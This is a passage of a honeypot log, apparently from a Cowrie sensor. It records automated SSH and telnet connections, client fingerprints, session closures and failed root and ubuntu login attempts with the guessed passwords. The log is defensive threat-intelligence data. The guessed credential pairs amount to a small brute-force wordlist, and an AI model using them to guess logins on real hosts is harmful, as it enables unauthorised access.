1@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:28.338578Z","src_ip":"80.94.92.184","session":"418c7ab7bab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:30.000198Z","src_ip":"80.94.92.184","session":"418c7ab7bab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:31.291458Z","src_ip":"80.94.92.184","session":"418c7ab7bab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":54394,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5b568f8da51","protocol":"ssh","message":"New connection: 92.207.4.157:54394 (159.203.135.109:22) [session: c5b568f8da51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:31.337933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:31.342227Z","src_ip":"92.207.4.157","session":"c5b568f8da51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:31.455045Z","src_ip":"92.207.4.157","session":"c5b568f8da51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin321","message":"login attempt [root/admin321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:31.918922Z","src_ip":"92.207.4.157","session":"c5b568f8da51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:33.030427Z","src_ip":"92.207.4.157","session":"c5b568f8da51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":40600,"dst_ip":"10.17.0.5","dst_port":22,"session":"438887f6f1a4","protocol":"ssh","message":"New connection: 43.135.177.217:40600 (10.17.0.5:22) [session: 438887f6f1a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:35.349504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:35.354416Z","src_ip":"43.135.177.217","session":"438887f6f1a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:35.423018Z","src_ip":"43.135.177.217","session":"438887f6f1a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ismail123","message":"login attempt [root/ismail123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:35.726281Z","src_ip":"43.135.177.217","session":"438887f6f1a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":44642,"dst_ip":"10.17.0.5","dst_port":22,"session":"a181431da718","protocol":"ssh","message":"New connection: 35.225.56.202:44642 (10.17.0.5:22) [session: a181431da718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:36.257729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:36.262300Z","src_ip":"35.225.56.202","session":"a181431da718","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:36.295814Z","src_ip":"35.225.56.202","session":"a181431da718","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lb123456.","message":"login attempt [root/lb123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:36.461538Z","src_ip":"35.225.56.202","session":"a181431da718","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:36.796496Z","src_ip":"43.135.177.217","session":"438887f6f1a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:37.499032Z","src_ip":"35.225.56.202","session":"a181431da718","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":50894,"dst_ip":"159.203.135.109","dst_port":22,"session":"88a57f2297c6","protocol":"ssh","message":"New connection: 103.75.182.198:50894 (159.203.135.109:22) [session: 88a57f2297c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:38.793571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:38.797740Z","src_ip":"103.75.182.198","session":"88a57f2297c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:39.042142Z","src_ip":"103.75.182.198","session":"88a57f2297c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36108,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fa757eecb7f","protocol":"telnet","message":"New connection: 192.119.13.58:36108 (10.17.0.5:23) [session: 8fa757eecb7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:39.543529Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456w","message":"login attempt [root/123456w] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:39.772889Z","src_ip":"103.75.182.198","session":"88a57f2297c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.501315116882324,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:40.742338Z","src_ip":"192.119.13.58","session":"3ba2aab36ab2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:41.018770Z","src_ip":"103.75.182.198","session":"88a57f2297c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":30335,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e1cc95c1bf4","protocol":"ssh","message":"New connection: 186.122.177.140:30335 (10.17.0.5:22) [session: 3e1cc95c1bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:48.150337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:48.153960Z","src_ip":"186.122.177.140","session":"3e1cc95c1bf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:48.353242Z","src_ip":"186.122.177.140","session":"3e1cc95c1bf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testarosa","message":"login attempt [root/testarosa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:49.270443Z","src_ip":"186.122.177.140","session":"3e1cc95c1bf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:50.560816Z","src_ip":"186.122.177.140","session":"3e1cc95c1bf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38130,"dst_ip":"10.17.0.5","dst_port":23,"session":"bab1117c96d5","protocol":"telnet","message":"New connection: 192.119.13.58:38130 (10.17.0.5:23) [session: bab1117c96d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:54.467704Z"}
{"eventid":"cowrie.session.closed","duration":46.61664271354675,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:56.115141Z","src_ip":"192.119.13.58","session":"a59050608caf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47256,"dst_ip":"10.17.0.5","dst_port":23,"session":"e058fe169f63","protocol":"telnet","message":"New connection: 192.119.13.58:47256 (10.17.0.5:23) [session: e058fe169f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:56.940664Z"}
{"eventid":"cowrie.session.closed","duration":0.005589485168457031,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:56.946124Z","src_ip":"192.119.13.58","session":"e058fe169f63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.233.48.169","src_port":42472,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa9f78806969","protocol":"ssh","message":"New connection: 193.233.48.169:42472 (10.17.0.5:22) [session: aa9f78806969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:57.369501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:57.374810Z","src_ip":"193.233.48.169","session":"aa9f78806969","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:57.497368Z","src_ip":"193.233.48.169","session":"aa9f78806969","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apc","message":"login attempt [root/apc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:58.019754Z","src_ip":"193.233.48.169","session":"aa9f78806969","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.05157804489136,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:58.458900Z","src_ip":"192.119.13.58","session":"4fdd2f4c1df2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":58078,"dst_ip":"159.203.135.109","dst_port":22,"session":"f52e18372daf","protocol":"ssh","message":"New connection: 89.223.69.22:58078 (159.203.135.109:22) [session: f52e18372daf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:58.768900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:58.772557Z","src_ip":"89.223.69.22","session":"f52e18372daf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:58.884858Z","src_ip":"89.223.69.22","session":"f52e18372daf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:59.144831Z","src_ip":"193.233.48.169","session":"aa9f78806969","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a000000","message":"login attempt [root/a000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:59.223455Z","src_ip":"89.223.69.22","session":"f52e18372daf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.69860076904297,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:00.318645Z","src_ip":"192.119.13.58","session":"799521d19ef7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:00.338937Z","src_ip":"89.223.69.22","session":"f52e18372daf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":33088,"dst_ip":"10.17.0.5","dst_port":22,"session":"6750289a9cc4","protocol":"ssh","message":"New connection: 103.172.78.219:33088 (10.17.0.5:22) [session: 6750289a9cc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:01.390858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:01.399812Z","src_ip":"103.172.78.219","session":"6750289a9cc4","protocol":"ssh"}
